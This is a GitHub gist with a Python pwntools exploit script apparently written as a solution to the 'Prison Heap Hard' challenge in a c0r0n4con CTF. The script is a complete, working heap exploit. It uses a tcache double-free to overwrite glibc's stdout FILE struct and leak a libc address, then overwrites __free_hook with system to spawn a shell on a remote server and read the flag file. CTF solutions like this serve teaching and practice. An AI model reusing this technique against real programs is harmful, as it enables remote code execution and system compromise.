Skip to content

Instantly share code, notes, and snippets.

@segura2010
Created April 17, 2020 15:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save segura2010/3a9715d2eea2c395184cad0984710a41 to your computer and use it in GitHub Desktop.
Save segura2010/3a9715d2eea2c395184cad0984710a41 to your computer and use it in GitHub Desktop.
Prison Heap Hard challenge - c0r0n4con CTF
from pwn import *
def create(size, content=None):
s.send("1\n")
s.recvuntil("Choose the size of prison heap")
s.send("{}\n".format(size))
s.recvuntil("Enter the name of the person who is going to enter the prison")
#sleep(0.5)
s.send("{}\n".format(content))
def free(i):
s.send("2\n")
s.recvuntil("Choose the index prison for free")
s.send("{}\n".format(i))
def read(i):
s.send("3\n")
s.recvuntil("Choose the index prison for read\n")
s.send("{}\n".format(i))
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc-2.27.so")}
while True:
#s = process("./prison_heap", env=env)
s = remote('161.35.17.222', 13337)
print s.recvuntil("3. Exit\n")
create(0x128, "") # idx=0
s.recvuntil("3. Exit\n")
create(0x128, "") # idx=1
s.recvuntil("3. Exit\n")
# fill the tcache for 0x128 size chunks; last one will go the unsorted bin
# so we have 0 in tcache and unsorted bin.. it allows us to reserve 2 times..
for i in range(8):
free(0)
s.recvuntil("3. Exit\n")
try:
# reserver with a different size will return idx=0 from unsorted bin, it allows us to overwrite the last 2 bytes
create(0x20, p16(0x6760)) # (idx=2) replace last 2 bytes of main arena with the last 2 bytes of stdout _IO_FILE
# reserve idx=0 chunk from tcache.. since we overwritten the fd address this allocation will put in the top of
# tcache the address of the overwritten address to stdout
create(0x128, "/bin/sh") # (idx=3)
s.recvuntil("3. Exit\n")
# reserve from tcache the stdout chunk and overwrite the struct
create(0x128, p64(0xfbad1800) + (p64(0x0)*3) + '\x00') # (idx=4) replace stdout _IO_FILE struct
'''
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ = 0xfbad1800
/* The following pointers correspond to the C++ streambuf protocol. */ = 0x0
char *_IO_read_ptr; /* Current read pointer */ = 0x0
char *_IO_read_end; /* End of get area. */ = 0x0
char *_IO_read_base; /* Start of putback+get area. */ = 0x0
char *_IO_write_base; /* Start of put area. */ = 0x??????????????00 -> overwrite last byte to leak a libc address
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
'''
s.recv(1)
leak_header_raw = s.recv(8)
print("leak_header = {}".format(leak_header_raw))
leak_header = u64(leak_header_raw)
if leak_header != 0x0:
print("bad leak header ! Retry!")
continue
leak = u64(s.recv(8))
free_hook = leak + 0x38
system = leak - 0x39E470
print("leak: {}".format(hex(leak)))
print("free_hook: {}".format(hex(free_hook)))
print("system: {}".format(hex(system)))
except:
print("fail ! Retry!")
continue
print(s.recvuntil("3. Exit"))
# exploit double-free one more time to do __free_hook = system
create(0x130, "/bin/sh") # idx=5
free(5)
free(5)
#gdb.attach(s, 'b malloc')
create(0x130, p64(free_hook)) #idx=6
create(0x130, "/bin/sh") # idx=7
create(0x130, p64(system)) # idx=8
print(s.recvuntil("3. Exit"))
free(5)
s.sendline('id')
s.sendline('ls -la /home/prison/prison_heap_hard/')
s.sendline('cat /home/prison/prison_heap_hard/flag.txt')
s.interactive()
s.close()
exit(0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment